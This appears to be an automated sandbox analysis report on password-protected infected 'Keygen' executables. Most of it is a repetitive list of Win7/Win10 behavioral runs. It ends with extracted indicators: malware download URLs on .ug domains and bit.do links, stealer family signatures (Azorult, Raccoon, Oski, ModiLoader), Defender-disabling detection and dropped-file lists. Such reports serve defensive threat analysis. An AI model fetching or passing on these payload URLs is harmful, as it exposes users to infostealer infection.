201001-nyhbt4p25j_pw_infected/Keygen — копия (25) — копия.exe
Resource
win7
Behavioral task
behavioral130
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (25) — копия.exe
Resource
win10v200722
Behavioral task
behavioral131
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (25).exe
Resource
win7v200722
Behavioral task
behavioral132
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (25).exe
Resource
win10v200722
Behavioral task
behavioral133
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (26) — копия.exe
Resource
win7v200722
Behavioral task
behavioral134
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (26) — копия.exe
Resource
win10
Behavioral task
behavioral135
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (26).exe
Resource
win7
Behavioral task
behavioral136
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (26).exe
Resource
win10
Behavioral task
behavioral137
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (27) — копия.exe
Resource
win7
Behavioral task
behavioral138
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (27) — копия.exe
Resource
win10v200722
Behavioral task
behavioral139
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (27).exe
Resource
win7
Behavioral task
behavioral140
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (27).exe
Resource
win10v200722
Behavioral task
behavioral141
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (28) — копия.exe
Resource
win7
Behavioral task
behavioral142
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (28) — копия.exe
Resource
win10v200722
Behavioral task
behavioral143
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (28).exe
Resource
win7
Behavioral task
behavioral144
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (28).exe
Resource
win10v200722
Behavioral task
behavioral145
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (29) — копия.exe
Resource
win7
Behavioral task
behavioral146
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (29) — копия.exe
Resource
win10v200722
Behavioral task
behavioral147
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (29).exe
Resource
win7
Behavioral task
behavioral148
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (29).exe
Resource
win10v200722
Behavioral task
behavioral149
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (3) — копия.exe
Resource
win7v200722
Behavioral task
behavioral150
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (3) — копия.exe
Resource
win10
Behavioral task
behavioral151
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (3).exe
Resource
win7
Behavioral task
behavioral152
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (3).exe
Resource
win10
Behavioral task
behavioral153
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (30) — копия.exe
Resource
win7
Behavioral task
behavioral154
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (30) — копия.exe
Resource
win10
Behavioral task
behavioral155
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (30).exe
Resource
win7v200722
Behavioral task
behavioral156
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (30).exe
Resource
win10
Behavioral task
behavioral157
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (31) — копия.exe
Resource
win7v200722
Behavioral task
behavioral158
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (31) — копия.exe
Resource
win10
Behavioral task
behavioral159
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (31).exe
Resource
win7v200722
Behavioral task
behavioral160
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (31).exe
Resource
win10v200722
Behavioral task
behavioral161
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (32) — копия.exe
Resource
win7
Behavioral task
behavioral162
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (32) — копия.exe
Resource
win10
Behavioral task
behavioral163
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (32).exe
Resource
win7
Behavioral task
behavioral164
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (32).exe
Resource
win10
Behavioral task
behavioral165
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (33) — копия.exe
Resource
win7
Behavioral task
behavioral166
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (33) — копия.exe
Resource
win10v200722
Behavioral task
behavioral167
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (33).exe
Resource
win7
Behavioral task
behavioral168
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (33).exe
Resource
win10
Behavioral task
behavioral169
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (34) — копия.exe
Resource
win7v200722
Behavioral task
behavioral170
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (34) — копия.exe
Resource
win10v200722
Behavioral task
behavioral171
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (34).exe
Resource
win7v200722
Behavioral task
behavioral172
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (34).exe
Resource
win10v200722
Behavioral task
behavioral173
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (35) — копия.exe
Resource
win7v200722
Behavioral task
behavioral174
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (35) — копия.exe
Resource
win10v200722
Behavioral task
behavioral175
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (35).exe
Resource
win7v200722
Behavioral task
behavioral176
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (35).exe
Resource
win10v200722
Behavioral task
behavioral177
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (36) — копия.exe
Resource
win7v200722
Behavioral task
behavioral178
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (36) — копия.exe
Resource
win10v200722
Behavioral task
behavioral179
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (36).exe
Resource
win7v200722
Behavioral task
behavioral180
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (36).exe
Resource
win10v200722
Behavioral task
behavioral181
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (37) — копия.exe
Resource
win7v200722
Behavioral task
behavioral182
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (37) — копия.exe
Resource
win10v200722
Behavioral task
behavioral183
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (37).exe
Resource
win7v200722
Behavioral task
behavioral184
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (37).exe
Resource
win10v200722
Behavioral task
behavioral185
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (38) — копия.exe
Resource
win7v200722
Behavioral task
behavioral186
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (38) — копия.exe
Resource
win10
Behavioral task
behavioral187
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (38).exe
Resource
win7
Behavioral task
behavioral188
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (38).exe
Resource
win10
Behavioral task
behavioral189
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (39) — копия.exe
Resource
win7v200722
Behavioral task
behavioral190
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (39) — копия.exe
Resource
win10
Behavioral task
behavioral191
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (4) — копия.exe
Resource
win7v200722
Behavioral task
behavioral192
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (4) — копия.exe
Resource
win10
Behavioral task
behavioral193
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (4).exe
Resource
win7
Behavioral task
behavioral194
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (4).exe
Resource
win10
Behavioral task
behavioral195
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (40) — копия.exe
Resource
win7
Behavioral task
behavioral196
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (40) — копия.exe
Resource
win10
Behavioral task
behavioral197
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (41) — копия.exe
Resource
win7
Behavioral task
behavioral198
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (41) — копия.exe
Resource
win10
Behavioral task
behavioral199
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (42) — копия.exe
Resource
win7v200722
Behavioral task
behavioral200
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (42) — копия.exe
Resource
win10
Behavioral task
behavioral201
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (43) — копия.exe
Resource
win7
Behavioral task
behavioral202
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (43) — копия.exe
Resource
win10
Behavioral task
behavioral203
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (44) — копия.exe
Resource
win7v200722
Behavioral task
behavioral204
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (44) — копия.exe
Resource
win10
Behavioral task
behavioral205
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (45) — копия.exe
Resource
win7v200722
Behavioral task
behavioral206
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (45) — копия.exe
Resource
win10v200722
Behavioral task
behavioral207
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (46) — копия.exe
Resource
win7v200722
Behavioral task
behavioral208
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (46) — копия.exe
Resource
win10v200722
Behavioral task
behavioral209
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (47) — копия.exe
Resource
win7
Behavioral task
behavioral210
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (47) — копия.exe
Resource
win10
Behavioral task
behavioral211
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (48) — копия.exe
Resource
win7v200722
Behavioral task
behavioral212
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (48) — копия.exe
Resource
win10
Behavioral task
behavioral213
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (49) — копия.exe
Resource
win7v200722
Behavioral task
behavioral214
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (49) — копия.exe
Resource
win10
Behavioral task
behavioral215
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (5) — копия.exe
Resource
win7v200722
Behavioral task
behavioral216
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (5) — копия.exe
Resource
win10
Behavioral task
behavioral217
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (5).exe
Resource
win7v200722
Behavioral task
behavioral218
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (5).exe
Resource
win10
Behavioral task
behavioral219
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (50) — копия.exe
Resource
win7v200722
Behavioral task
behavioral220
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (50) — копия.exe
Resource
win10
Behavioral task
behavioral221
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (51) — копия.exe
Resource
win7
Behavioral task
behavioral222
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (51) — копия.exe
Resource
win10
Behavioral task
behavioral223
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (52) — копия.exe
Resource
win7v200722
Behavioral task
behavioral224
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (52) — копия.exe
Resource
win10v200722
Behavioral task
behavioral225
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (53) — копия.exe
Resource
win7v200722
Behavioral task
behavioral226
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (53) — копия.exe
Resource
win10v200722
Behavioral task
behavioral227
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (54) — копия.exe
Resource
win7v200722
Behavioral task
behavioral228
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (54) — копия.exe
Resource
win10v200722
Behavioral task
behavioral229
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (55) — копия.exe
Resource
win7
Behavioral task
behavioral230
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (55) — копия.exe
Resource
win10v200722
Behavioral task
behavioral231
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (56) — копия.exe
Resource
win7v200722
Behavioral task
behavioral232
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (56) — копия.exe
Resource
win10v200722
Behavioral task
behavioral233
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (57) — копия.exe
Resource
win7v200722
Behavioral task
behavioral234
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (57) — копия.exe
Resource
win10v200722
Behavioral task
behavioral235
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (58) — копия.exe
Resource
win7v200722
Behavioral task
behavioral236
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (58) — копия.exe
Resource
win10v200722
Behavioral task
behavioral237
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (59) — копия.exe
Resource
win7v200722
Behavioral task
behavioral238
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (59) — копия.exe
Resource
win10v200722
Behavioral task
behavioral239
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (6) — копия.exe
Resource
win7v200722
Behavioral task
behavioral240
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (6) — копия.exe
Resource
win10v200722
Behavioral task
behavioral241
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (6).exe
Resource
win7v200722
Behavioral task
behavioral242
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (6).exe
Resource
win10v200722
Behavioral task
behavioral243
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (60) — копия.exe
Resource
win7v200722
Behavioral task
behavioral244
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (60) — копия.exe
Resource
win10v200722
Behavioral task
behavioral245
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (61) — копия.exe
Resource
win7
Behavioral task
behavioral246
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (61) — копия.exe
Resource
win10
Behavioral task
behavioral247
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (62) — копия.exe
Resource
win7
Behavioral task
behavioral248
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (62) — копия.exe
Resource
win10
Behavioral task
behavioral249
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (63) — копия.exe
Resource
win7
Behavioral task
behavioral250
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (63) — копия.exe
Resource
win10
Behavioral task
behavioral251
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (64) — копия.exe
Resource
win7
Behavioral task
behavioral252
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (64) — копия.exe
Resource
win10v200722
Behavioral task
behavioral253
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (65) — копия.exe
Resource
win7
Behavioral task
behavioral254
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (65) — копия.exe
Resource
win10
Behavioral task
behavioral255
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (66) — копия.exe
Resource
win7
Behavioral task
behavioral256
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (66) — копия.exe
Resource
win10
Behavioral task
behavioral257
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (67) — копия.exe
Resource
win7
Behavioral task
behavioral258
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (67) — копия.exe
Resource
win10
Behavioral task
behavioral259
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (68) — копия.exe
Resource
win7
Behavioral task
behavioral260
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (68) — копия.exe
Resource
win10
Behavioral task
behavioral261
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (69) — копия.exe
Resource
win7
Behavioral task
behavioral262
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (69) — копия.exe
Resource
win10
Behavioral task
behavioral263
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (7) — копия.exe
Resource
win7
Behavioral task
behavioral264
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (7) — копия.exe
Resource
win10
Behavioral task
behavioral265
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (7).exe
Resource
win7v200722
Behavioral task
behavioral266
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (7).exe
Resource
win10v200722
Behavioral task
behavioral267
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (70) — копия.exe
Resource
win7v200722
Behavioral task
behavioral268
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (70) — копия.exe
Resource
win10
Behavioral task
behavioral269
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (71) — копия.exe
Resource
win7
Behavioral task
behavioral270
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (71) — копия.exe
Resource
win10
Behavioral task
behavioral271
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (72) — копия.exe
Resource
win7
Behavioral task
behavioral272
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (72) — копия.exe
Resource
win10v200722
Behavioral task
behavioral273
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (73) — копия.exe
Resource
win7
Behavioral task
behavioral274
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (73) — копия.exe
Resource
win10v200722
Behavioral task
behavioral275
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (74) — копия.exe
Resource
win7
Behavioral task
behavioral276
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (74) — копия.exe
Resource
win10
Behavioral task
behavioral277
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (75) — копия.exe
Resource
win7v200722
Behavioral task
behavioral278
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (75) — копия.exe
Resource
win10
Behavioral task
behavioral279
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (76) — копия.exe
Resource
win7v200722
Behavioral task
behavioral280
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (76) — копия.exe
Resource
win10
Behavioral task
behavioral281
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (77) — копия.exe
Resource
win7v200722
Behavioral task
behavioral282
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (77) — копия.exe
Resource
win10
Behavioral task
behavioral283
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (78) — копия.exe
Resource
win7v200722
Behavioral task
behavioral284
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (78) — копия.exe
Resource
win10
Behavioral task
behavioral285
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (79) — копия.exe
Resource
win7v200722
Behavioral task
behavioral286
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (79) — копия.exe
Resource
win10
Behavioral task
behavioral287
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (8) — копия.exe
Resource
win7v200722
Behavioral task
behavioral288
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (8) — копия.exe
Resource
win10v200722
Behavioral task
behavioral289
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (8).exe
Resource
win7v200722
Behavioral task
behavioral290
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (8).exe
Resource
win10v200722
Behavioral task
behavioral291
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (80) — копия.exe
Resource
win7v200722
Behavioral task
behavioral292
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (80) — копия.exe
Resource
win10
Behavioral task
behavioral293
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (81) — копия.exe
Resource
win7v200722
Behavioral task
behavioral294
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (81) — копия.exe
Resource
win10v200722
Behavioral task
behavioral295
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (82) — копия.exe
Resource
win7v200722
Behavioral task
behavioral296
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (82) — копия.exe
Resource
win10
Behavioral task
behavioral297
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (83) — копия.exe
Resource
win7
Behavioral task
behavioral298
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (83) — копия.exe
Resource
win10v200722
Behavioral task
behavioral299
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (84) — копия.exe
Resource
win7v200722
Behavioral task
behavioral300
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (84) — копия.exe
Resource
win10
Behavioral task
behavioral301
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (85) — копия.exe
Resource
win7
Behavioral task
behavioral302
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (85) — копия.exe
Resource
win10v200722
Behavioral task
behavioral303
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (86) — копия.exe
Resource
win7
Behavioral task
behavioral304
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (86) — копия.exe
Resource
win10v200722
Behavioral task
behavioral305
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (87) — копия.exe
Resource
win7v200722
Behavioral task
behavioral306
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (87) — копия.exe
Resource
win10v200722
Behavioral task
behavioral307
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (88) — копия.exe
Resource
win7
Behavioral task
behavioral308
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (88) — копия.exe
Resource
win10
Behavioral task
behavioral309
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (89) — копия.exe
Resource
win7
Behavioral task
behavioral310
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (89) — копия.exe
Resource
win10v200722
Behavioral task
behavioral311
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (9) — копия.exe
Resource
win7
Behavioral task
behavioral312
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (9) — копия.exe
Resource
win10v200722
Behavioral task
behavioral313
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (9).exe
Resource
win7v200722
Behavioral task
behavioral314
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (9).exe
Resource
win10
Behavioral task
behavioral315
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (90) — копия.exe
Resource
win7
Behavioral task
behavioral316
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (90) — копия.exe
Resource
win10
Behavioral task
behavioral317
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (91) — копия.exe
Resource
win7v200722
Behavioral task
behavioral318
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (91) — копия.exe
Resource
win10v200722
Behavioral task
behavioral319
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (92) — копия.exe
Resource
win7v200722
Behavioral task
behavioral320
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (92) — копия.exe
Resource
win10
Behavioral task
behavioral321
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (93) — копия.exe
Resource
win7v200722
Behavioral task
behavioral322
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (93) — копия.exe
Resource
win10v200722
Behavioral task
behavioral323
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (94) — копия.exe
Resource
win7v200722
Behavioral task
behavioral324
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (94) — копия.exe
Resource
win10v200722
Behavioral task
behavioral325
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (95) — копия.exe
Resource
win7
Behavioral task
behavioral326
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (95) — копия.exe
Resource
win10
Behavioral task
behavioral327
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (96) — копия.exe
Resource
win7
Behavioral task
behavioral328
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (96) — копия.exe
Resource
win10
Behavioral task
behavioral329
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (97) — копия.exe
Resource
win7
Behavioral task
behavioral330
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (97) — копия.exe
Resource
win10
Behavioral task
behavioral331
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (98) — копия.exe
Resource
win7v200722
Behavioral task
behavioral332
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (98) — копия.exe
Resource
win10
Behavioral task
behavioral333
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (99) — копия.exe
Resource
win7
Behavioral task
behavioral334
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия (99) — копия.exe
Resource
win10v200722
Behavioral task
behavioral335
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (2).exe
Resource
win7v200722
Behavioral task
behavioral336
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (2).exe
Resource
win10v200722
Behavioral task
behavioral337
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (3).exe
Resource
win7
Behavioral task
behavioral338
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (3).exe
Resource
win10v200722
Behavioral task
behavioral339
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (4).exe
Resource
win7v200722
Behavioral task
behavioral340
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (4).exe
Resource
win10
Behavioral task
behavioral341
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия.exe
Resource
win7
Behavioral task
behavioral342
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия — копия.exe
Resource
win10v200722
Behavioral task
behavioral343
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия.exe
Resource
win7
Behavioral task
behavioral344
Sample
201001-nyhbt4p25j_pw_infected/Keygen — копия.exe
Resource
win10
Behavioral task
behavioral345
Sample
201001-nyhbt4p25j_pw_infected/Keygen.exe
Resource
win7v200722
Behavioral task
behavioral346
Sample
201001-nyhbt4p25j_pw_infected/Keygen.exe
Resource
win10v200722
General
-
Target
201001-nyhbt4p25j_pw_infected/Keygen — копия (59) — копия.exe
Malware Config
Extracted
http://rbcxvnb.ug/zxcvb.exe
http://rbcxvnb.ug/zxcvb.exe
Extracted
http://bit.do/fqhJD
http://bit.do/fqhJD
Extracted
http://bit.do/fqhJv
http://bit.do/fqhJv
Extracted
http://bit.do/fqhHT
http://bit.do/fqhHT
Extracted
http://zxvbcrt.ug/zxcvb.exe
http://zxvbcrt.ug/zxcvb.exe
Extracted
http://pdshcjvnv.ug/zxcvb.exe
http://pdshcjvnv.ug/zxcvb.exe
Extracted
C:\Users\Admin\AppData\LocalLow\machineinfo.txt
raccoon
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
Processes:
resource yara_rule behavioral237/memory/1932-396-0x0000000000680000-0x0000000000685000-memory.dmp disable_win_def behavioral237/memory/2960-406-0x0000000000240000-0x0000000000243000-memory.dmp disable_win_def -
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Oski
Oski is an infostealer targeting browser data, crypto wallets.
-
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.
Processes:
yara_rule raccoon_log_file -
ModiLoader Second Stage 1 IoCs
Processes:
resource yara_rule behavioral237/memory/1944-432-0x0000000004930000-0x000000000497C000-memory.dmp modiloader_stage2 -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exeflow pid process 5 1144 powershell.exe 12 1144 powershell.exe 13 1684 powershell.exe 17 1048 powershell.exe 19 1684 powershell.exe 21 1048 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 28 IoCs
Processes:
Keygen.exelbe.exemnd.exedsx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exedsx.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemnd.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exelbe.exehgfnmbasdo.exehgfnmbasdo.exeaxcsdfa.exeaxcsdfa.exeaxcsdfa.exeaxcsdfa.exeaxcsdfa.exeaxcsdfa.exeaxcsdfa.exezyljhH9KiS.exeqRiS9oymEz.exeK1DvxMMSSH.exeMwCRYcSQQJ.exepid process 240 Keygen.exe 2480 lbe.exe 2556 mnd.exe 2580 dsx.exe 2644 FVjhgtresfdbv.exe 2664 NHtrdsaghfDF.exe 2736 dsx.exe 2764 NHtrdsaghfDF.exe 2888 FVjhgtresfdbv.exe 3008 FVjhgtresfdbv.exe 3052 NHtrdsaghfDF.exe 1956 mnd.exe 1548 FVjhgtresfdbv.exe 2216 NHtrdsaghfDF.exe 2388 lbe.exe 1840 hgfnmbasdo.exe 2204 hgfnmbasdo.exe 2268 axcsdfa.exe 2076 axcsdfa.exe 3020 axcsdfa.exe 2580 axcsdfa.exe 1648 axcsdfa.exe 1008 axcsdfa.exe 1928 axcsdfa.exe 2564 zyljhH9KiS.exe 1944 qRiS9oymEz.exe 1932 K1DvxMMSSH.exe 2960 MwCRYcSQQJ.exe -
Loads dropped DLL 52 IoCs
Processes:
